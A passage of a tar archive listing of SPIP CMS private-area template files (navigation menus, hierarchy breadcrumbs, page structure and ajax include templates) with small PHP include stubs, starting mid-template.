			<BOUCLE_cpta(POUR){tableau #EVAL{$GLOBALS['liste_des_statuts']}}><BOUCLE_auts(AUTEURS){statut=#VALEUR}{tout} />
			[(#TOTAL_BOUCLE|oui)
			<li class="item">[(#CLE|_T)]&nbsp;: #TOTAL_BOUCLE
			</li>
			]
			<//B_auts>
			</BOUCLE_cpta>
		</ul>
	</B_cpta>
</div>
inclure/barre-nav.html000066600000007232152526337100010764 0ustar00#SET{contexte,#EVAL{definir_barre_contexte()}}
#SET{boutons,#GET{contexte}|definir_barre_boutons{0}}
<div id='bando_haut' role='navigation'>
	<div id='bando_liens_rapides'>
		<div class='largeur clearfix'>
			<a href='#conteneur' onclick='return focus_zone("#conteneur")'>Aller au contenu</a> |
			<a href='#bando_navigation' onclick='return focus_zone("#bando_navigation")'>Aller &agrave; la navigation</a> |
			<a href='#recherche' onclick='return focus_zone("#rapides .formulaire_recherche")'>Aller &agrave; la recherche</a>
		</div>
	</div>

	<div id='bando_identite'>
		<div class='largeur clearfix'>
			<p class='session'><a
				   title='<:icone_informations_personnelles:>'
				   href='#URL_ECRIRE{infos_perso}'><strong class='nom'>[(#SESSION{nom}|trim|sinon{#SESSION{login}}|typo|couper{30})]</strong></a> |
				<a class='menu_lang'
					 href='#URL_ECRIRE{configurer_langage}'
					 title='<:titre_config_langage:>'>[(#CHEMIN_IMAGE{langues.png}|balise_img{<:titre_config_langage:>})][(#LANG|traduire_nom_langue)]</a> |
				<a class='aide popin' target='_blank'
					href='#URL_ECRIRE{aide,var_lang=#LANG}'><:icone_aide_ligne:></a> |
				<a href='[(#VAL{logout}|generer_url_action{logout=prive})]'><:icone_deconnecter:></a>
			</p>
			<p class='nom_site_spip'><a
				   class='info'
					 title='<:titre_identite_site|attribut_html:>'
					 href='#URL_ECRIRE{configurer_identite}'><strong
			 	  class='nom'>[ (#NOM_SITE_SPIP|couper{35}) ]</strong></a>|
				<a class='voir'
					 href='#URL_SITE_SPIP'><:icone_visiter_site:></a>
			</p>
		</div>
	</div>

	<div id='bando_navigation'>
		<div class='largeur clearfix'>
			<B_boutons>
			<ul class='deroulant'>
				<BOUCLE_boutons(POUR)
					{tableau #GET{boutons}}
					{cle!=outils_rapides}
					{cle!=outils_collaboratifs}>[<li (#CLE|=={menu_accueil}|ou{#VALEUR{sousmenu}}|?{' ',#SET{li,''}}) #SET{li,'</li>'}
						[class="(#VAL{first}|unique)"]><a
						href="[(#VALEUR{url}|sinon{#CLE}|bandeau_creer_url{#VALEUR{urlArg},#GET{contexte}})]"
						id="bando1_#CLE">[(#VALEUR{libelle}|_T)]</a>]<B_sous><ul><BOUCLE_sous(POUR)
						{tableau #VALEUR{sousmenu}}>[<li><a
								href="[(#VALEUR{url}|sinon{#CLE}|bandeau_creer_url{#VALEUR{urlArg},#GET{contexte}})]"
								class="bando2_#CLE">(#VALEUR{libelle}|_T)</a></li>]</BOUCLE_sous></ul></B_sous>#GET{li}</BOUCLE_boutons></ul>
			</B_boutons>
		</div>
	</div>

	<div id='bando_outils'>
		<div class='largeur clearfix'>
			<ul class='bandeau_rubriques deroulant'>
				<li class='boussole'><a
					href='#URL_ECRIRE{plan}'
					id='boutonbandeautoutsite'>[(#CHEMIN_IMAGE{boussole-24.png}|balise_img)]</a>
					[(#REM|menu_rubriques)]</li></ul>
			<B_creer>
				<ul class='rapides creer'>
					<BOUCLE_creer(POUR)
						{tableau #GET{boutons}}
						{cle=outils_rapides}><BOUCLE_creersous(POUR){tableau #VALEUR{sousmenu}}>[<li class="bouton"><a
						href="[(#VALEUR{url}|sinon{#CLE}|bandeau_creer_url{#VALEUR{urlArg},#GET{contexte}})]"
						title="[(#VALEUR{libelle}|_T|attribut_html)]"
						class="bando2_#CLE"><span>(#VALEUR{libelle}|_T)</span></a></li>]</BOUCLE_creersous></BOUCLE_creer>
				</ul>
			</B_creer>
			<div id='rapides'>
				<B_collaborer>
					<ul class='rapides collaborer'>
					<BOUCLE_collaborer(POUR)
						{tableau #GET{boutons}}
						{cle=outils_collaboratifs}><BOUCLE_collaborersous(POUR){tableau #VALEUR{sousmenu}}>[<li class="bouton"><a
							href="[(#VALEUR{url}|sinon{#CLE}|bandeau_creer_url{#VALEUR{urlArg},#GET{contexte}})]"
							title="[(#VALEUR{libelle}|_T|attribut_html)]"
							class="bando2_#CLE"><span>(#VALEUR{libelle}|_T)</span></a></li>]</BOUCLE_collaborersous></BOUCLE_collaborer>
					</ul>
				</B_collaborer>

				#FORMULAIRE_RECHERCHE_ECRIRE
			</div>
		</div>
	</div>

</div>
inclure/menu-navigation.html000066600000001202152526337100012177 0ustar00#SET{boutons,#ENV**|definir_barre_contexte|definir_barre_boutons{0}}

<BOUCLE_menu(POUR){tableau #GET{boutons}}{cle=#ENV{menu}}>
[(#ENV{bloc}|=={contenu}|?{
	<h1 class="grostitre">[(#VALEUR{libelle}|_T)]</h1>,
	<div class="navigation">})]

	<ul class='liste_items sous_navigation'>
	<BOUCLE_menusous(POUR){tableau #VALEUR{sousmenu}}>
		[<li class="item[(#ENV{exec}|=={#VALEUR{url}|sinon{#CLE}}|oui)on execfound]">
			<a href="[(#VALEUR{url}|sinon{#CLE}|bandeau_creer_url{#VALEUR{urlArg},#ENV**})]" class="bando2_#CLE">
				(#VALEUR{libelle}|_T)
			</a>
		</li>]
	</BOUCLE_menusous>
	</ul>

[(#ENV{bloc}|!={contenu}|oui)</div>]
</BOUCLE_menu>
inclure/cfg.html000066600000000430152526337100007637 0ustar00<div class='cfg_link'>[<a href="#URL_ECRIRE{#SCRIPT}"
	title="<:icone_configuration_site:> [(#NOM|attribut_html)]"><img
	src="#CHEMIN_IMAGE{cfg-16.png}" width="16" height="16"
	alt="<:icone_configuration_site:> [(#NOM|attribut_html)]" /></a>(#SCRIPT|tester_url_ecrire|oui)]
</div>inclure/pied_fonctions.php000066600000000137152526337100011732 0ustar00<?php

if (!defined('_ECRIRE_INC_VERSION')) return;

include_spip('inc/presentation_mini');
?>
navigation/accueil.html000066600000003455152526337100011215 0ustar00[(#BOITE_OUVRIR{[
	[(#URL_ECRIRE{infos_perso}|afficher_plus_info{<:icone_informations_personnelles:>})]
	[(#CHEMIN_IMAGE{information-perso-24.png}|balise_img{'','cadre-icone'})]
	(#SESSION{nom})
],'simple personnel'})]
	[(#URL_ECRIRE{infos_perso}|icone_horizontale{<:icone_informations_personnelles:>,fiche-perso})]

	<B_restreintes>
		<div class="liste">
			<h4>[(#GRAND_TOTAL|objet_afficher_nb{rubrique})]</h4>
			<ul class="liste-items rubriques">
			<BOUCLE_restreintes(RUBRIQUES){id_auteur=#SESSION{id_auteur}}{tout}{par titre}{pagination 10}{si #SESSION{statut}|=={0minirezo}}>
				<li class="item rubrique"><a href='[(#ID_RUBRIQUE|generer_url_entite{rubrique})]'>[(#CHEMIN_IMAGE{rubrique-16.png}|balise_img)] #TITRE</a></li>
			</BOUCLE_restreintes>
			</ul>
			[<p class="pagination">(#PAGINATION{prive})</p>]
		</div>
	</B_restreintes>

	[(#EVAL{$_COOKIE}|table_valeur{spip_admin}|oui)
		[(#SELF|parametre_url{action,cookie}|parametre_url{cookie_admin,non}|parametre_url{redirect,#SELF}|icone_horizontale{<:icone_supprimer_cookie:>,cookie-24.png,delsafe})]
	][(#EVAL{$_COOKIE}|table_valeur{spip_admin}|non)
		<p><:info_activer_cookie:> #AIDER{cookie}</p>

		[(#SELF|parametre_url{action,cookie}|parametre_url{cookie_admin,@#SESSION{login}}|parametre_url{redirect,#SELF}|icone_horizontale{<:icone_activer_cookie:>,cookie-24.png})]
	]
#BOITE_FERMER

[(#BOITE_OUVRIR{[
	[(#URL_ECRIRE{configurer_identite}|afficher_plus_info{<:titre_identite_site:>})]
	[(#CHEMIN_IMAGE{racine-24.png}|balise_img{'','cadre-icone'})]
	(#NOM_SITE_SPIP)
],'simple etat_base'})]

	[<div class="logo_du_site">(#LOGO_SITE_SPIP|image_reduire{170,170})</div>]
	[<div class="descriptif_du_site">(#DESCRIPTIF_SITE_SPIP|image_reduire{180,*})</div>]

	#PIPELINE{accueil_informations,#INCLURE{fond=prive/squelettes/inclure/accueil-information,env}}

#BOITE_FERMERnavigation/rubrique.html000066600000000771152526337100011444 0ustar00<BOUCLE_nav(RUBRIQUES){id_rubrique}{statut?}{si #ENV{exec}|=={rubrique}}>
#BOITE_OUVRIR{'','info'}
#PIPELINE{boite_infos,#ARRAY{data,'',args,#ARRAY{'type','rubrique','id',#ENV{id_rubrique}}}}
#BOITE_FERMER

<div class="ajax">
#FORMULAIRE_EDITER_LOGO{rubrique,#ID_RUBRIQUE,'',#ENV**}
</div>

#PIPELINE{afficher_config_objet,#ARRAY{args,#ARRAY{type,rubrique,id,#ID_RUBRIQUE},data,''}}

</BOUCLE_nav>
[(#ENV{exec}|=={rubrique_edit}|oui)<INCLURE{fond=prive/squelettes/navigation/rubrique_edit,env}>]
<//B_nav>navigation/auteur_edit.html000066600000000000152526337100012101 0ustar00navigation/infos_perso.html000066600000000200152526337100012117 0ustar00<INCLURE{fond=prive/squelettes/navigation/auteur,id_auteur=#SESSION{id_auteur},exec=#ENV{exec}|replace{infos_perso,auteur},env}>navigation/dist.html000066600000000621152526337100010543 0ustar00[(#ENV{exec}|match{configurer_}|oui)
<INCLURE{fond=prive/squelettes/navigation/configurer,env}>
]
#SET{objet_exec,#ENV{exec}|trouver_objet_exec}
[(#GET{objet_exec}|oui)
	#SET{f,#GET{objet_exec}|table_valeur{edition}|?{objet_edit,objet}}
	<INCLURE{fond=prive/echafaudage/navigation/#GET{f},objet=#GET{objet_exec}|table_valeur{type},id_objet=#ENV{#GET{objet_exec}|table_valeur{id_table_objet}},env} />
]navigation/article_edit.html000066600000000000152526337100012217 0ustar00navigation/auteur.html000066600000000612152526337100011105 0ustar00<BOUCLE_nav(AUTEURS){id_auteur}{statut?}{si #ENV{exec}|=={auteur}}>
#BOITE_OUVRIR{'','info'}
#PIPELINE{boite_infos,#ARRAY{data,'',args,#ARRAY{'type','auteur','id',#ENV{id_auteur}}}}
#BOITE_FERMER

<div class="ajax">
#FORMULAIRE_EDITER_LOGO{auteur,#ID_AUTEUR,'',#ENV**}
</div>

</BOUCLE_nav>
[(#ENV{exec}|=={auteur_edit}|oui)<INCLURE{fond=prive/squelettes/navigation/auteur_edit,env}>]
<//B_nav>navigation/article.html000066600000001074152526337100011226 0ustar00<BOUCLE_nav(ARTICLES){id_article}{statut==.*}{si #ENV{exec}|=={article}}>
#BOITE_OUVRIR{'','info'}
#PIPELINE{boite_infos,#ARRAY{data,'',args,#ARRAY{'type','article','id',#ENV{id_article}}}}
#BOITE_FERMER

<div class="ajax">
#FORMULAIRE_EDITER_LOGO{article,#ID_ARTICLE,'',#ENV**}
</div>

#PIPELINE{afficher_config_objet,#ARRAY{args,#ARRAY{type,article,id,#ID_ARTICLE},data,''}}

<div class="ajax">
#FORMULAIRE_REDIRIGER_ARTICLE{#ENV{id_article}}
</div>

</BOUCLE_nav>
[(#ENV{exec}|=={article_edit}|oui)<INCLURE{fond=prive/squelettes/navigation/article_edit,env}>]
<//B_nav>navigation/configurer_preferences.html000066600000000114152526337100014321 0ustar00<INCLURE{fond=prive/squelettes/navigation/infos_perso,exec=infos_perso,env}>navigation/admin_tech.html000066600000000110152526337100011664 0ustar00#BOITE_OUVRIR{'',info}
<p>
<:info_gauche_admin_tech:>
</p>
#BOITE_FERMERnavigation/configurer_fonctions.php000066600000000125152526337100013647 0ustar00<?php

if (!defined('_ECRIRE_INC_VERSION')) return;

include_spip('inc/bandeau');

?>navigation/configurer_langage.html000066600000000114152526337100013416 0ustar00<INCLURE{fond=prive/squelettes/navigation/infos_perso,exec=infos_perso,env}>navigation/visiteurs.html000066600000000107152526337100011634 0ustar00<INCLURE{fond=prive/squelettes/navigation/auteurs,env,is_visiteur=1}>

navigation/suivi_edito.html000066600000000565152526337100012132 0ustar00[(#BOITE_OUVRIR{[
	[(#CHEMIN_IMAGE{racine-24.png}|balise_img{'','cadre-icone'})]
	(#NOM_SITE_SPIP)
],'simple etat_base'})]

	[<div class="logo_du_site">(#LOGO_SITE_SPIP|image_reduire{170,170})</div>]
	<div class="descriptif_du_site">#DESCRIPTIF_SITE_SPIP</div>

	#PIPELINE{accueil_informations,#INCLURE{fond=prive/squelettes/inclure/accueil-information,env}}

#BOITE_FERMERnavigation/auteurs.html000066600000001237152526337100011274 0ustar00
#BOITE_OUVRIR{'','info'}
<p><:info_gauche_auteurs:></p>
[(#SESSION{statut}|=={0minirezo}|oui)
<p><:info_gauche_auteurs_exterieurs:></p>
]
#BOITE_FERMER

[(#BOITE_OUVRIR{'','raccourcis'})]
	[(#AUTORISER{creer,auteur})
		[(#URL_ECRIRE{auteur_edit,new=oui}|icone_horizontale{<:icone_creer_nouvel_auteur:>,auteur,new})]
	]
	[(#URL_ECRIRE{infos_perso}|icone_horizontale{<:icone_informations_personnelles:>,fiche-perso})]

	[(#VAL{1}|avoir_visiteurs|oui)
	[(#URL_ECRIRE{#ENV{is_visiteur,''}|?{auteurs,visiteurs}}|icone_horizontale{#ENV{is_visiteur,''}|?{<:icone_afficher_auteurs:>,<:icone_afficher_visiteurs:>},#ENV{is_visiteur,''}|?{auteur,auteur-6forum}})]
	]
#BOITE_FERMER
navigation/synchro.html000066600000000341152526337100011264 0ustar00#BOITE_OUVRIR{'',info}
	<p><:ical_info1:></p>
	[(#SET{spipnet,#EVAL{$GLOBALS}|table_valeur{home_server}|concat{/,#EVAL{$GLOBALS}|table_valeur{spip_lang},'_suivi'}})]
	<p><:ical_info2{spipnet=#GET{spipnet}}:></p>
#BOITE_FERMERnavigation/configurer.html000066600000000410152526337100011737 0ustar00#SET{nav,#INCLURE{fond=prive/squelettes/inclure/menu-navigation,
	menu=menu_configuration,
	bloc=navigation,
	env}}
[(#GET{nav}|match{execfound}|oui)
#GET{nav}
[(#BOITE_OUVRIR{#VAL{avis_attention}|_T|wrap{<h4>},'info'})]
<p><:texte_inc_config:></p>
#BOITE_FERMER
]navigation/rubriques.html000066600000000110152526337100011612 0ustar00<div class="ajax">
#FORMULAIRE_EDITER_LOGO{rubrique,0,'',#ENV**}
</div>
navigation/rubrique_edit.html000066600000000000152526337100012432 0ustar00hierarchie/auteur.html000066600000001072152526337100011052 0ustar00<BOUCLE_ariane(AUTEURS){id_auteur}{tout}>
[(#STATUT|in_array{#VAL{redacteurs}|auteurs_lister_statuts}|oui)
<a href="#URL_ECRIRE{auteurs}"><:info_auteurs:></a>
]
[(#STATUT|in_array{#VAL{redacteurs}|auteurs_lister_statuts}|non)
<a href="#URL_ECRIRE{visiteurs}"><:info_visiteurs:></a>
]
&gt; [(#ID_AUTEUR|generer_url_entite{auteur}|lien_ou_expose{[(#NOM|couper{80}|sinon{<:ecrire:info_sans_titre:>})],1})]
</BOUCLE_ariane>
<a href="#URL_ECRIRE{auteurs}"><:info_auteurs:></a>
[(#ENV{exec}|match{_edit$}|oui)
&gt; <strong><:ecrire:item_nouvel_auteur:></strong>
]
<//B_ariane>hierarchie/dist.html000066600000001612152526337100010510 0ustar00<!-- hierarchie -->
#SET{objet_exec,#ENV{exec}|trouver_objet_exec}
[(#GET{objet_exec}|oui)
	#SET{objet,#GET{objet_exec}|table_valeur{type}}
	#SET{id_objet,#ENV{#GET{objet_exec}|table_valeur{id_table_objet}}}

	#SET{id_parent,#GET{objet}|=={rubrique}|?{#ENV{id_parent,#INFO_ID_PARENT{#GET{objet},#GET{id_objet}}},#ENV{id_rubrique,#INFO_ID_RUBRIQUE{#GET{objet},#GET{id_objet}}}}}
	[(#GET{id_parent}|ou{#GET{objet}|=={rubrique}}|oui)
		<INCLURE{fond=prive/echafaudage/hierarchie/objet,objet=#GET{objet},id_objet=#GET{id_objet},id_parent=#GET{id_parent},id_secteur=#INFO_ID_SECTEUR{#GET{objet},#GET{id_objet}},restreint=#INFO_STATUT{#GET{objet},#GET{id_objet}}|=={publie},editable=#AUTORISER{modifier,#GET{objet},#GET{id_objet}},ajax}>
	]
	[(#GET{id_parent}|ou{#GET{objet}|=={rubrique}}|non)
		<INCLURE{fond=prive/echafaudage/hierarchie/objet.sans_rubrique,objet=#GET{objet},id_objet=#GET{id_objet},ajax}>
	]
]hierarchie/auteur_edit.html000066600000000066152526337100012061 0ustar00<INCLURE{fond=prive/squelettes/hierarchie/auteur,env}>hierarchie/infos_perso.html000066600000000000152526337100012061 0ustar00hierarchie/dist_fonctions.php000066600000000136152526337100012415 0ustar00<?php

if (!defined('_ECRIRE_INC_VERSION')) return;

include_spip('inc/pipelines_ecrire');

?>structure.html000066600000002326152526337100007505 0ustar00#HTTP_HEADER{Cache-Control: no-cache,must-revalidate}
#HTTP_HEADER{Pragma: no-cache}
#EVAL{_DOCTYPE_ECRIRE}
[(#REM) http://paulirish.com/2008/conditional-stylesheets-vs-css-hacks-answer-neither/
]<!--[if lt IE 7 ]> <html class="[(#LANG_DIR)][ (#LANG)] no-js ie ie6 lte9 lte8 lte7" xmlns="http://www.w3.org/1999/xhtml" xml:lang="#LANG" lang="#LANG" dir="#LANG_DIR"> <![endif]-->
<!--[if IE 7 ]>    <html class="[(#LANG_DIR)][ (#LANG)] no-js ie ie7 lte9 lte8 lte7" xmlns="http://www.w3.org/1999/xhtml" xml:lang="#LANG" lang="#LANG" dir="#LANG_DIR"> <![endif]-->
<!--[if IE 8 ]>    <html class="[(#LANG_DIR)][ (#LANG)] no-js ie ie8 lte9 lte8" xmlns="http://www.w3.org/1999/xhtml" xml:lang="#LANG" lang="#LANG" dir="#LANG_DIR"> <![endif]-->
<!--[if IE 9 ]>    <html class="[(#LANG_DIR)][ (#LANG)] no-js ie ie9 lte9" xmlns="http://www.w3.org/1999/xhtml" xml:lang="#LANG" lang="#LANG" dir="#LANG_DIR"> <![endif]-->
<!--[if (gt IE 9)|!(IE)]><!--> <html class="[(#LANG_DIR)][ (#LANG)] no-js" xmlns="http://www.w3.org/1999/xhtml" xml:lang="#LANG" lang="#LANG" dir="#LANG_DIR"> <!--<![endif]-->
<head>
<INCLURE{fond=prive/squelettes/head/#ENV{type-page},env,espace_prive=1}>
</head>
<INCLURE{fond=prive/squelettes/body,env,espace_prive=1}>
</html>
ajax.html000066600000000305152526337100006363 0ustar00[(#REM)

 Appels ajax sur un bloc

]
#SET{zajax,#VAL{var_zajax}|_request|replace{\W,''}}
<INCLURE{fond=prive/squelettes/#GET{zajax}|concat{'/',#ENV{type-page}},ajax=#GET{zajax},espace_prive=1,env}>